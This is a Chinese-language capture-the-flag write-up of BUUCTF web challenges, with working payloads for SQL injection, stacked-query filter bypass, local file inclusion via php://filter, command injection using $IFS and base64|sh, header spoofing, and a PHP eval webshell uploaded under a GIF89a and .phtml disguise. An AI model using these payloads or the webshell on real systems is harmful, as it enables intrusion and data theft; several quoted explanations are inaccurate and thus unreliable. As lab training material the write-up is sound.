BUUCTF(Web)
[极客大挑战 2019]EasySQL
进入靶机
需要我们填用户和密码。因为是EasySQL,所以猜测是简单的SQL注入。输入万能密码1' or' 1'='1
成功登录得到flag
图中显示的“1'or'1'='1”是一种常见的SQL注入攻击手段。SQL注入是一种代码注入技术,攻击者可以通过在SQL查询中插入恶意SQL代码,来欺骗服务器执行非预期的SQL命令。
在这个例子中,“1'or'1'='1”是一个始终为真的SQL条件语句。无论用户输入什么,这个条件都会返回真值(true),从而绕过正常的认证过程,使得攻击者能够在没有正确密码的情况下登录系统。
具体来说,这个语句的工作原理如下:
1'or'1'='1
:这个条件永远为真,因为1=1
是一个恒等式,总是成立的。- 当这个条件被插入到SQL查询中时,整个查询的条件部分就会变为始终为真,从而绕过密码验证。
例如,一个正常的登录查询可能是这样的:
SELECT * FROM users WHERE username='admin' AND password='correct_password';
如果攻击者能够将“1'or'1'='1”插入到密码字段中,查询可能会变成:
SELECT * FROM users WHERE username='admin' AND password='1'or'1'='1';
这个查询的条件部分变为:
'1'='1' AND '1'='1'
两个条件都是真的,所以查询会返回匹配的记录,从而允许攻击者登录。
[极客大挑战 2019]Havefun
进入靶机,看到一只猫猫。
没什么特别的。查看源代码。
有一个cat的get传参。
在提供的代码中,有一个变量 $cat
,它通过 GET 方法从 URL 参数中获取值。代码的逻辑是这样的:
- 获取 URL 中
cat
参数的值,并将其赋给变量$cat
。 - 输出
$cat
的值。 - 检查
$cat
是否等于字符串'dog'
。 - 如果
$cat
等于'dog'
,则输出一个特定的字符串(这里假设是 flag)。
代码如下:
<?php
$cat = $_GET['cat'];
echo $cat;
if ($cat == 'dog') {
echo 'Syc{cat_cat_cat_cat}';
}
?>
在代码审计部分,提到如果 cat
参数的值为 'dog'
,则会输出一个 flag。为了触发这个条件,你需要构造一个特定的 URL,其中包含 cat
参数,并且其值为 'dog'
。
构造的 payload 是 /?cat=dog
,这个 payload 的作用是:
- 通过 URL 的查询字符串传递
cat
参数。 - 将
cat
参数的值设置为'dog'
。
当你访问这个 URL 时,服务器会执行 PHP 脚本,获取 cat
参数的值,发现它是 'dog'
,然后输出相应的 flag。
例如,如果你访问 http://xxxxxx(example).com/?cat=dog
,输出可能会是:
dog
Syc{cat_cat_cat_cat}
这里的 Syc{cat_cat_cat_cat}
就是当 cat
参数为 'dog'
时输出的 flag。这种类型的漏洞通常出现在不安全的编程实践中,例如未对用户输入进行适当的验证和清理。
get传参与post传参:https://xuanwo.xin/archives/cd303602-a6ff-4880-95b6-eaf747485d7b
[HCTF 2018]WarmUp php
代码审计
进入靶机,看到一张"滑稽黄脸"的图片
没什么特别的,题目提示是PHP的代码审计。我们查看源代码。
这里有一个php的源代码文件。我们查看一下。
找到一个新的php文件hint.php。我们查看一下。
。他说flag不在这里,而是在这ffffllllaaaagggg这个文件夹中。我们通过修改文件路径来访问这个文件夹。得出flag
在你提供的图片中,展示了一个典型的本地文件包含(Local File Inclusion,简称LFI)漏洞的利用过程。LFI是一种安全漏洞,允许攻击者通过修改应用程序的输入来访问服务器上的文件。
以下是这个LFI漏洞利用过程的详细解释:
-
发现LFI漏洞:首先,攻击者发现了一个名为
hint.php
的文件,该文件中包含了一个可能存在LFI漏洞的代码片段。 -
查看
hint.php
文件:攻击者访问了hint.php
文件,文件内容提示flag不在当前位置,而是在另一个文件ffffllllaaaaagggg
中。 -
构造payload:攻击者构造了一个payload,通过修改URL中的参数来尝试访问
ffffllllaaaaagggg
文件。在这个例子中,payload是../../../../../ffffllllaaaaagggg
。 -
利用LFI漏洞:通过在URL中添加
?file=hint.php?../../../..//ffffllllaaaaagggg
,攻击者利用了LFI漏洞,使得服务器尝试读取并返回ffffllllaaaaagggg
文件的内容。 -
读取flag:服务器成功读取了
ffffllllaaaaagggg
文件,并将其内容返回给攻击者,其中包括了flag。
这种攻击之所以能够成功,是因为服务器端的代码没有正确地验证或清理用户输入,允许了路径遍历(Path Traversal)攻击。路径遍历是一种利用技巧,攻击者通过修改文件路径来访问服务器上的敏感文件。
php代码审计
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"]; //如果page的值为空或者不是字符串
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
//检测page的值是否在白名单中
if (in_array($page, $whitelist)) {
return true;
}
//返回page中从第0位开始到第一个?出现的位置,之间的值赋给page
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);//查找字符串在另一个字符串中首次出现的位置
//坚持page的值是否在白名单内
if (in_array($_page, $whitelist)) {
return true;
}
//将url编码后的字符串还原成未编码的样子,然后赋值给page
$_page = urldecode($page);
//返回page中从第0位开始到第一个?出现的位置,之间的值赋给page
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')//查找字符串在另一个字符串中首次出现的位置
);
//检验page的值是否在白名单内
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
[ACTF2020 新生赛]Include
打开靶机。一个超链接。点击进去看看。
回显了一个你能找出flag吗?预计靠burp Suite抓包。
有一个get。发现一个get传参的flag.php文件。
url回显出一个example.cn/file=flag.php。
重要的知识点——PHP封装协议:
php://filter/read=convert.base64-encode/resource=xxx.php
php://filter 是php中独有的一个协议,可以作为一个中间流来处理其他流,可以进行任意文件的读取;根据名字filter,可以很容易想到这个协议可以用来过滤一些东西; 使用不同的参数可以达到不同的目的和效果:
resource=<要过滤的数据流> 指定了你要筛选过滤的数据流。 必选
read=<读链的筛选列表>可以设定一个或多个过滤器名称,以管道符(|)分隔。 可选
write=<写链的筛选列表> 可以设定一个或多个过滤器名称,以管道符(|)分隔。 可选
<;两个链的筛选列表> 任何没有以 read= 或write=作前缀 的筛选器列表会视情况应用于读或写链。
php://filter与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,阻止其不执行。从而导致任意文件读取。
read=convert.base64-encode,用base64编码输出,不然会直接当做php代码执行,看不到源代码内容。
payload:/?flie=php://filter/read=convert.base64-encode/resource=flag.php
。
read=convert.base64-encode
指示PHP将读取的内容进行Base64编码。全选,找一个在线解密网站中就能得到flag。
[ACTF2020 新生赛]Exec
进入靶机,发现一个ping命令输入框。ping127.0.0.1ping得通。可以利用管道符
|
将命令连接起来。|
将前一个命令的输出作为后一个命令的输入。查看根(
/
)目录下的文件。看到flag文件。查看一下得出flag
[GXYCTF2019]Ping Ping Ping
进入靶机只显示这个。在url中输入
/?ip=127.0.0.1
成功ping通。
输入
/?ip=127.0.0.1 | ls /
url转义成了ip=127.0.0.1%20|%20ls%20/。
说明空格被过滤了。所以在地址栏里面输入
127.0.0.1|ls
发现flag.php和index.php文件。
绕过空格看不到flag。我们看一下index.php
。有一个php代码
<?php //我自己加的
/?ip=
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "
";
print_r($a);
}
?>
这段PHP代码看起来是一个简单的 ping
命令执行脚本,它接受一个IP地址作为输入,并使用 shell_exec
函数来执行 ping
命令。代码中包含了一些用于过滤和验证输入的基本安全检查。下面是对这段代码的审计和分析:
安全检查
-
特殊字符过滤:
- 使用
preg_match
函数检查输入的IP地址是否包含一系列特殊字符,包括&
,/
,?
,*
,<
, 空白字符(\x{00}-\x{20}
),>
,'
,"
,\
,(
,)
,[
,]
,{
,}
。 - 如果包含这些字符,脚本会输出
fxck your symbol!
并终止执行。
- 使用
-
空格检查:
- 检查输入的IP地址是否包含空格。如果包含,脚本会输出
fxck your space!
并终止执行。
- 检查输入的IP地址是否包含空格。如果包含,脚本会输出
-
禁止特定字符串:
- 检查输入的IP地址是否包含字符串 "bash"。如果包含,脚本会输出
fxck your bash!
并终止执行。 - 检查输入的IP地址是否包含字符串 "flag"。如果包含,脚本会输出
fxck your flag!
并终止执行。
所以它也过滤了flag。小问题。之前我们写 [ACTF2020 新生赛]Include那到题时,用base64输出,我们这次也把cat flag.php用base64绕过。随便找个在线网站,把cat flag.php用base64编码一下。编码后
构建payload:/?ip=127.0.0.1|echo$IFS$9Y2F0IGZsYWcucGhw|base64$IFS$9-d|sh
找到flag
这段内容描述了一种利用PHP伪协议和Base64编码来绕过某些安全限制的技术。具体来说,它涉及到在URL参数中注入命令,并通过Base64编码来隐藏这些命令。下面是对这个过程的详细解释:
- 检查输入的IP地址是否包含字符串 "bash"。如果包含,脚本会输出
-
PHP伪协议:
PHP伪协议允许PHP代码在执行时读取或写入文件、执行命令等。例如,php://filter
伪协议可以用于读取文件内容并进行编码或解码。 -
Base64编码:
Base64是一种常用的编码方法,可以将二进制数据转换为由64个可打印字符组成的文本字符串。这种编码常用于在不支持二进制数据的系统之间传输数据。 -
注入命令:
在这个例子中,攻击者试图执行cat flag.php
命令来查看flag.php
文件的内容。为了绕过安全限制,他们将这个命令进行Base64编码,得到Y2F0IGZsYWcucGhw
。 -
构造URL参数:
攻击者构造了一个URL参数,其中包含了一个注入的命令:?ip=127.0.0.1|echo$IFS$9Y2F0IGZsYWcucGhw|base64$IFS$9-d|sh
这里:
127.0.0.1
是一个示例IP地址。echo$IFS$9Y2F0IGZsYWcucGhw
使用了IFS(Internal Field Separator)环境变量来插入一个制表符(\t
),然后输出Base64编码的字符串。|base64$IFS$9-d
使用管道符|
将输出传递给base64 -d
命令进行解码。|sh
将解码后的内容传递给sh
命令执行。
-
执行过程:
当这个URL参数被传递给服务器时,服务器会尝试执行这个命令。首先,Base64编码的字符串被解码为原始命令cat flag.php
,然后这个命令被执行,输出flag.php
文件的内容。 -
F12查看注释:
最后提到的“然后再F12,看注释”是指在浏览器中按F12打开开发者工具,查看网络请求或源代码中的注释,以获取更多关于这个攻击过程的信息。
绕过
[SUCTF 2019]EasySQL
进去靶机是一个这样的输入框是简单的sql注入应该是。看题解关键点在于
select $_POST['query'] || flag from Flag
的一个后端代码。不是很清楚怎么知道的后端代码,不管啦!
问ai的:
在SQL中,||
运算符的行为取决于MySQL的sql_mode设置。在这个问题中,关键在于理解PIPES_AS_CONCAT
sql_mode选项的作用。
-
默认情况下,如果没有设置
PIPES_AS_CONCAT
,||
运算符在MySQL中作为逻辑OR使用。这意味着如果第一个操作数为假(如NULL或0),则评估第二个操作数。 -
如果设置了
PIPES_AS_CONCAT
,则||
运算符用作字符串连接符,相当于CONCAT()
函数。这允许你连接两个字符串。
在你提供的图片中,后端代码使用了以下查询:
SELECT ${_POST['query']} || flag FROM Flag
为什么 *,1
可以查出flag?
在默认情况下,由于没有设置PIPES_AS_CONCAT
,||
运算符作为逻辑OR使用。这意味着如果${_POST['query']}
为假(例如,空字符串或NULL),则查询将评估为 flag
。因此,提交 *,1
作为查询参数,其中 *
为假(因为它不匹配任何行),而 1
为真,所以查询返回 flag
列的值。
为什么 set sql_mode=PIPES_AS_CONCAT; select 1 || flag
可以查出flag?
当设置 PIPES_AS_CONCAT
时,||
运算符用作字符串连接符。提交的查询变为:
set sql_mode=PIPES_AS_CONCAT;
SELECT 1 || flag FROM Flag
这里,1
和 flag
被连接成一个字符串。由于 1
是一个非空字符串,查询将返回 1flag
(即 1
和 flag
的连接结果)。
总结
这两个方法都可以查出flag,但原因不同:
*,1
利用了逻辑OR的行为,在默认sql_mode下,当第一个操作数为假时返回第二个操作数。set sql_mode=PIPES_AS_CONCAT; select 1 || flag
利用了字符串连接的行为,在设置PIPES_AS_CONCAT
后,将两个字符串连接起来。
这种类型的题目在CTF(Capture The Flag)比赛中很常见,测试参赛者对SQL注入和sql_mode的理解。
老实说,这道题完全就是跟着别人的思路走。然后不太清楚怎么知道后端代码的。但是貌似如果是这个
select $_POST['query'] || flag from Flag
的话,||
默认是逻辑或,所以*,1
是*
为假,所以返回flag
。set sql_mode=PIPES_AS_CONCAT; select 1 || flag
是设置PIPES_AS_CONCAT
,所以||
是字符串连接,所以返回1flag
。嗯...
[极客大挑战 2019]LoveSQL
进入一个靶机,有一行很小的字。“用SQLmap是没有灵魂的”说明这道题用sqlmap可能会浪费很多时间,我也不清楚能不能做出来,估计大佬也能做出了。但我们还是用常规的sql注入。
使用万能密码登录。
登录进去了,但感觉没什么用。我们使用常规做法看有几个字段。我们在密码框里面输入
1' union select 1,2,3#
!看到回显说明有3个字段。回显但有效注入点只有2、3。把三换成database()再查一次。1' union select 1,2,database()#
爆出库为geek。
爆表:
1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='geek'#
这段代码是一个SQL注入攻击的例子,它利用了UNION
语句和GROUP_CONCAT
函数来获取数据库中特定模式(schema)下的表名。下面是对这段代码的详细解释:
SQL注入背景
SQL注入是一种常见的网络攻击技术,攻击者通过在Web应用的输入字段中插入恶意SQL代码,试图让后端数据库执行这些代码,从而获取敏感信息或执行未授权的操作。
代码解释
1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='geek'#
-
1'
:这部分可能是注入点的一部分,用于闭合前一个SQL语句或表达式。例如,如果原始查询是SELECT * FROM users WHERE id = 1
,那么注入点可能在id
字段,攻击者通过输入1'
来闭合这个查询。 -
union select
:UNION
语句用于将两个或多个SELECT
语句的结果合并成一个结果集。在SQL注入中,UNION
可以用来执行额外的查询,并将结果与原始查询的结果合并。 -
1,2,group_concat(table_name)
:这部分定义了UNION
查询的结果集格式。1,2
:这些是前两列的占位值,因为原始查询可能期望这两列的数据。group_concat(table_name)
:使用GROUP_CONCAT
函数将information_schema.tables
表中所有table_name
列的值连接成一个字符串。information_schema.tables
是一个系统表,包含了数据库中所有表的信息。
-
from information_schema.tables
:指定了查询的数据源,即information_schema.tables
表。 -
where table_schema='geek'
:这个WHERE
子句限制了查询结果,只返回table_schema
为geek
的表名。table_schema
是数据库模式的名称,类似于数据库中的命名空间。 -
#
:这是一个SQL注释符号,用于注释掉后面的内容。在SQL注入中,这可以用来绕过输入验证或截断查询。
攻击目的
这个SQL注入攻击的目的是从数据库中获取特定模式(geek
)下的所有表名。通过将这些表名连接成一个字符串并返回,攻击者可以了解数据库的结构,这是进一步攻击的重要步骤。
爆出了两个表名
爆字段:l0ve1ysq1
1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'#
爆出两个字段。我们查看一下字段内容1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1#
貌似看见flag了。
Syclover @ cl4y
Login Success!
Hello 2!
Your password is '1cl4ywo_tai_nan_le,2glzjinglzjin_wants_a_girlfriend,3Z4cHAr7zCrbiao_ge_dddd_hm,40xC4m3llinux_chuang_shi_ren,5Ayraina_rua_rain,6Akkoyan_shi_fu_de_mao_bo_he,7fouc5cl4y,8fouc5di_2_kuai_fu_ji,9fouc5di_3_kuai_fu_ji,10fouc5di_4_kuai_fu_ji,11fouc5di_5_kuai_fu_ji,12fouc5di_6_kuai_fu_ji,13fouc5di_7_kuai_fu_ji,14fouc5di_8_kuai_fu_ji,15leixiaoSyc_san_da_hacker,16flagflag{1bbd1321-6855-4c72-9de6-f107f415fba6}'
全选粘贴后。
[强网杯2019]随便注
进入靶机。应该又是一个sql注入。打一个单引号报错。
,说明是字符型的mysql。
查询3时无结果,说明只有两个可用字段。
我们爆一下库1 ';show databases;#
爆出以下库。我们再爆一下表。
1 ';show tables;#
爆出两个表。我们查看一下两个表的字段。记住,表名为数字时,需要用"重音键",也就是~号下面那个重音键括起来。
1 ';show columns from '1919810931114514';#
不能直接复制我的,得把我的英文单引号改成重音键表名为“1919810931114514”的表有flag字段。我们查看一下字段内容。
1' union select flag from '1919810931114514';#
发现一个正则匹配,这些字段被过滤了。小问题,我们找办法绕过就好了。
方法1:自定义预定义语法并执行
1' ;PREPARE stmt FROM CONCAT('s','elect',' * from '1919810931114514'');EXECUTE stmt;#
或
1' ;PREPARE stmt FROM CONCAT(char(115,101,108,101,99,116),' * from '1919810931114514'');EXECUTE stmt;#
或
1' ;set @sqli=concat(char(115,101,108,101,99,116),' * from '1919810931114514');PREPARE stmt FROM @sqli;EXECUTE stmt;#
这段内容描述了一种 SQL 注入攻击技巧,旨在绕过对某些 SQL 关键字(如 SELECT
)的过滤,以便能够执行任意 SQL 查询。这里使用了 MySQL 的一些高级功能,如预处理语句(PREPARE
)、执行(EXECUTE
)和字符串拼接(concat
和 char
函数)。以下是详细解释:
方法一:自定义预定义语句并执行
-
使用
concat
函数:concat('s','elect','* from'1919810931114514'')
:这个函数将多个字符串拼接在一起,形成完整的 SQL 查询SELECT * FROM 1919810931114514
。PREPARE hacker FROM ...
:准备一个名为hacker
的预处理语句,其中包含拼接好的 SQL 查询。EXECUTE hacker;
:执行准备好的预处理语句。
-
使用
char
函数:char(115,101,108,101,99,116)
:这个函数将 ASCII 值转换为对应的字符,这里转换的是SELECT
。concat(char(115,101,108,101,99,116),'* from'1919810931114514'')
:将SELECT
与其余部分拼接,形成完整的 SQL 查询。PREPARE hacker FROM ...
:准备一个名为hacker
的预处理语句,其中包含拼接好的 SQL 查询。EXECUTE hacker;
:执行准备好的预处理语句。
-
使用变量存储 SQL 查询:
set @sqli=concat(char(115,101,108,101,99,116),'* from'1919810931114514'')
:将拼接好的 SQL 查询存储在变量@sqli
中。PREPARE hacker FROM @sqli;
:准备一个名为hacker
的预处理语句,其中包含变量@sqli
中的 SQL 查询。EXECUTE hacker;
:执行准备好的预处理语句。
解释
这些代码片段展示了如何通过不同的方法绕过对 SELECT
关键字的过滤,以便能够执行任意 SQL 查询。具体来说:
concat
函数:用于将多个字符串拼接在一起,形成完整的 SQL 查询。char
函数:用于将 ASCII 值转换为对应的字符,这里用于绕过对SELECT
关键字的过滤。PREPARE
和EXECUTE
:用于准备和执行预处理语句,这些语句可以包含动态生成的 SQL 查询。- 变量存储:使用变量(如
@sqli
)存储动态生成的 SQL 查询,然后在预处理语句中使用这些变量。
方法二 编码逃逸 绕过过滤
方法2:使用十六进制绕过
构建payload select * from where 1919810931114514
进行16进制编码加密:
73656c656374202a2066726f6d20603139313938313039333131313435313460
最终payload:1';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#
这段内容描述的是一种 SQL 注入攻击技巧,目的是绕过对 SELECT
关键字的过滤。在这种攻击中,攻击者尝试通过编码或其他方式来隐藏或绕过过滤机制,以便能够执行任意 SQL 语句。
解释
-
过滤绕过:
- 由于
SELECT
关键字被过滤,直接使用它会导致攻击失败。 - 攻击者考虑使用编码(如十六进制编码)来绕过过滤。
- 由于
-
构造 Payload:
- 原始的 SQL 查询是
SELECT * FROM where 1919810931114514
,其中*
用于查询数据表中的全部内容,where 1919810931114514
是一个示例条件。 - 为了绕过过滤,攻击者将这个查询进行十六进制编码。
- 原始的 SQL 查询是
-
十六进制编码:
- 将原始 SQL 查询转换为十六进制编码:
73656c656374202a2066726f6d20603139313938313039333131313435313460
。 - 这个编码表示的是原始 SQL 查询的十六进制表示。
- 将原始 SQL 查询转换为十六进制编码:
-
最终 Payload:
- 最终的 Payload 是
1';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute
。 - 这个 Payload 的解释如下:
1';
:结束前面的 SQL 语句。SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;
:将十六进制编码的 SQL 查询赋值给变量@a
。prepare execsql from @a;
:准备执行从变量@a
中获取的 SQL 查询。execute
:执行准备好的 SQL 查询。
- 最终的 Payload 是
通过这种方式,攻击者可以绕过对 SELECT
关键字的过滤,执行任意 SQL 查询,从而可能获取敏感信息或进行其他恶意操作。
得出flag
[极客大挑战 2019]Secret File
进入靶机是这个解密。查看一下源码。
我们点进去这个PHP文件看一下。
再看一下这个文件。
这里啥都没有。我们抓个包看看。
抓包发现了一个叫做secr3t.php的文件。我们点进去看看。
<html>
<title>secret</title>
<meta charset="UTF-8">
<code><span style="color: #000000">
<html><br /> <title>secret</title><br /> <meta charset="UTF-8"><br /><span style="color: #0000BB"><?php<br /> highlight_file</span><span style="color: #007700">(</span><span style="color: #0000BB">__FILE__</span><span style="color: #007700">);<br /> </span><span style="color: #0000BB">error_reporting</span><span style="color: #007700">(</span><span style="color: #0000BB">0</span><span style="color: #007700">);<br /> </span><span style="color: #0000BB">$file</span><span style="color: #007700">=</span><span style="color: #0000BB">$_GET</span><span style="color: #007700">[</span><span style="color: #DD0000">'file'</span><span style="color: #007700">];<br /> if(</span><span style="color: #0000BB">strstr</span><span style="color: #007700">(</span><span style="color: #0000BB">$file</span><span style="color: #007700">,</span><span style="color: #DD0000">"../"</span><span style="color: #007700">)||</span><span style="color: #0000BB">stristr</span><span style="color: #007700">(</span><span style="color: #0000BB">$file</span><span style="color: #007700">, </span><span style="color: #DD0000">"tp"</span><span style="color: #007700">)||</span><span style="color: #0000BB">stristr</span><span style="color: #007700">(</span><span style="color: #0000BB">$file</span><span style="color: #007700">,</span><span style="color: #DD0000">"input"</span><span style="color: #007700">)||</span><span style="color: #0000BB">stristr</span><span style="color: #007700">(</span><span style="color: #0000BB">$file</span><span style="color: #007700">,</span><span style="color: #DD0000">"data"</span><span style="color: #007700">)){<br /> echo </span><span style="color: #DD0000">"Oh no!"</span><span style="color: #007700">;<br /> exit();<br /> }<br /> include(</span><span style="color: #0000BB">$file</span><span style="color: #007700">); <br /></span><span style="color: #FF8000">//flag放在了flag.php里<br /></span><span style="color: #0000BB">?><br /></span></html><br /></span>
</code></html>
文本中提示“//flag放在了flag.php里”我们也进去查看一下。进去是这样的。我们查看一下源码。
源码也是这样的。记得我们之前封装了一个php文件,让他以base64输出。我们这次也这样试试
构建payload/secr3t.php?file=php://filter/convert.base64-encode/resource=flag.php
嗯。/secrt3t.php是一定要加的。因为就是访问secr3t.php
这个文件时看到的flag.php
文件。
<html>
<title>secret</title>
<meta charset="UTF-8">
<code><span style="color: #000000">
<html><br /> <title>secret</title><br /> <meta charset="UTF-8"><br /><span style="color: #0000BB"><?php<br /> highlight_file</span><span style="color: #007700">(</span><span style="color: #0000BB">__FILE__</span><span style="color: #007700">);<br /> </span><span style="color: #0000BB">error_reporting</span><span style="color: #007700">(</span><span style="color: #0000BB">0</span><span style="color: #007700">);<br /> </span><span style="color: #0000BB">$file</span><span style="color: #007700">=</span><span style="color: #0000BB">$_GET</span><span style="color: #007700">[</span><span style="color: #DD0000">'file'</span><span style="color: #007700">];<br /> if(</span><span style="color: #0000BB">strstr</span><span style="color: #007700">(</span><span style="color: #0000BB">$file</span><span style="color: #007700">,</span><span style="color: #DD0000">"../"</span><span style="color: #007700">)||</span><span style="color: #0000BB">stristr</span><span style="color: #007700">(</span><span style="color: #0000BB">$file</span><span style="color: #007700">, </span><span style="color: #DD0000">"tp"</span><span style="color: #007700">)||</span><span style="color: #0000BB">stristr</span><span style="color: #007700">(</span><span style="color: #0000BB">$file</span><span style="color: #007700">,</span><span style="color: #DD0000">"input"</span><span style="color: #007700">)||</span><span style="color: #0000BB">stristr</span><span style="color: #007700">(</span><span style="color: #0000BB">$file</span><span style="color: #007700">,</span><span style="color: #DD0000">"data"</span><span style="color: #007700">)){<br /> echo </span><span style="color: #DD0000">"Oh no!"</span><span style="color: #007700">;<br /> exit();<br /> }<br /> include(</span><span style="color: #0000BB">$file</span><span style="color: #007700">); <br /></span><span style="color: #FF8000">//flag放在了flag.php里<br /></span><span style="color: #0000BB">?><br /></span></html><br /></span>
</code>PCFET0NUWVBFIGh0bWw+Cgo8aHRtbD4KCiAgICA8aGVhZD4KICAgICAgICA8bWV0YSBjaGFyc2V0PSJ1dGYtOCI+CiAgICAgICAgPHRpdGxlPkZMQUc8L3RpdGxlPgogICAgPC9oZWFkPgoKICAgIDxib2R5IHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOmJsYWNrOyI+PGJyPjxicj48YnI+PGJyPjxicj48YnI+CiAgICAgICAgCiAgICAgICAgPGgxIHN0eWxlPSJmb250LWZhbWlseTp2ZXJkYW5hO2NvbG9yOnJlZDt0ZXh0LWFsaWduOmNlbnRlcjsiPuWViuWTiO+8geS9oOaJvuWIsOaIkeS6hu+8geWPr+aYr+S9oOeci+S4jeWIsOaIkVFBUX5+fjwvaDE+PGJyPjxicj48YnI+CiAgICAgICAgCiAgICAgICAgPHAgc3R5bGU9ImZvbnQtZmFtaWx5OmFyaWFsO2NvbG9yOnJlZDtmb250LXNpemU6MjBweDt0ZXh0LWFsaWduOmNlbnRlcjsiPgogICAgICAgICAgICA8P3BocAogICAgICAgICAgICAgICAgZWNobyAi5oiR5bCx5Zyo6L+Z6YeMIjsKICAgICAgICAgICAgICAgICRmbGFnID0gJ2ZsYWd7MGVkZGE1M2QtYzYxZC00NmEzLWIyYjktODZiZDFlZWY2Y2ZifSc7CiAgICAgICAgICAgICAgICAkc2VjcmV0ID0gJ2ppQW5nX0x1eXVhbl93NG50c19hX2cxcklmcmkzbmQnCiAgICAgICAgICAgID8+CiAgICAgICAgPC9wPgogICAgPC9ib2R5PgoKPC9odG1sPgo=</html>
base64
PCFET0NUWVBFIGh0bWw+Cgo8aHRtbD4KCiAgICA8aGVhZD4KICAgICAgICA8bWV0YSBjaGFyc2V0PSJ1dGYtOCI+CiAgICAgICAgPHRpdGxlPkZMQUc8L3RpdGxlPgogICAgPC9oZWFkPgoKICAgIDxib2R5IHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOmJsYWNrOyI+PGJyPjxicj48YnI+PGJyPjxicj48YnI+CiAgICAgICAgCiAgICAgICAgPGgxIHN0eWxlPSJmb250LWZhbWlseTp2ZXJkYW5hO2NvbG9yOnJlZDt0ZXh0LWFsaWduOmNlbnRlcjsiPuWViuWTiO+8geS9oOaJvuWIsOaIkeS6hu+8geWPr+aYr+S9oOeci+S4jeWIsOaIkVFBUX5+fjwvaDE+PGJyPjxicj48YnI+CiAgICAgICAgCiAgICAgICAgPHAgc3R5bGU9ImZvbnQtZmFtaWx5OmFyaWFsO2NvbG9yOnJlZDtmb250LXNpemU6MjBweDt0ZXh0LWFsaWduOmNlbnRlcjsiPgogICAgICAgICAgICA8P3BocAogICAgICAgICAgICAgICAgZWNobyAi5oiR5bCx5Zyo6L+Z6YeMIjsKICAgICAgICAgICAgICAgICRmbGFnID0gJ2ZsYWd7MGVkZGE1M2QtYzYxZC00NmEzLWIyYjktODZiZDFlZWY2Y2ZifSc7CiAgICAgICAgICAgICAgICAkc2VjcmV0ID0gJ2ppQW5nX0x1eXVhbl93NG50c19hX2cxcklmcmkzbmQnCiAgICAgICAgICAgID8+CiAgICAgICAgPC9wPgogICAgPC9ib2R5PgoKPC9odG1sPgo=
解密得到
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>FLAG</title>
</head>
<body style="background-color:black;"><br><br><br><br><br><br>
<h1 style="font-family:verdana;color:red;text-align:center;">啊哈!你找到我了!可是你看不到我QAQ~~~</h1><br><br><br>
<p style="font-family:arial;color:red;font-size:20px;text-align:center;">
<?php
echo "我就在这里";
$flag = 'flag{0edda53d-c61d-46a3-b2b9-86bd1eef6cfb}';
$secret = 'jiAng_Luyuan_w4nts_a_g1rIfri3nd'
?>
</p>
</body>
</html>
得到flag
[极客大挑战 2019]Http
进入靶机进入靶机是这样的。二话不说查看源代码。
发现一个可以的secret.php,访问一下,
进去看到了一个网站,是buuctf的地址,告诉web服务器用户从哪个界面过来的。那抓个包查看一下就好了。
加一个Referer头用于告诉web服务器,用户是从哪个页面找过来的。
提示一个这个。添加
User-Agent:Syclover
User-Agent头用于告诉web服务器用户使用的浏览器和操作系统信息又提示一个这个,只能在本地读取。那就添加一个
X-Forwarded-For:127.0.0.1
得到flag了
[极客大挑战 2019]Upload
进入靶机是一个这个。是一道文件上传题。很简单。首先先写一个一句话木马的PHP文件
<?php @eval($_POST['123']);?>
,以便后续蚁键连接。上传失败。需要图片文件。那就前面写一个
GIF89a
:这是 GIF 图片文件格式的标识,通常用于表示一个 GIF 图片的开始。然而,在这种上下文中,它可能被用作伪装,让人误以为这是一个图片文件。。再上传试一试。
一样上传失败。我们抓个包看看。
把content-type改为
Content-Type:image/jpeg
,
显示不能为php。那我们再绕过后缀名。随便加一个数字试试。
很明显php3也不行。我们构建成.phtml后缀。
.phtml
文件扩展名通常用于 PHP(PHP: Hypertext Preprocessor)脚本文件。这是一种常见的做法,特别是在使用某些内容管理系统(CMS)或框架时,比如 Zend Framework 或 Drupal,它们使用 .phtml
作为模板文件的扩展名。
使用 .phtml
扩展名而不是标准的 .php
扩展名有几个潜在的好处:
-
清晰性:它明确指出该文件是一个 PHP 模板文件,这有助于开发者快速识别文件的用途。
-
配置灵活性:在某些服务器配置中,可以通过为不同的文件扩展名设置不同的处理规则来提高灵活性。例如,服务器可以被配置为对
.phtml
文件执行特定的操作或检查。 -
安全性:在某些情况下,使用非标准扩展名可以减少文件被直接访问的风险,因为用户可能不知道文件实际上是一个可执行的 PHP 脚本。
然而,无论文件的扩展名是什么,只要服务器被配置为处理 PHP 代码,.phtml
文件中的 PHP 代码仍然可以被执行。因此,重要的是要确保服务器的安全配置,以及对上传到服务器的文件进行适当的验证和清理,以防止潜在的安全威胁。!他说别对我说慌,根本没有图片。那么,还需要再绕过一次图片。
GIF89a
<script language="php">@eval($_POST['123']);$</script>
后缀已经成功绕过了。
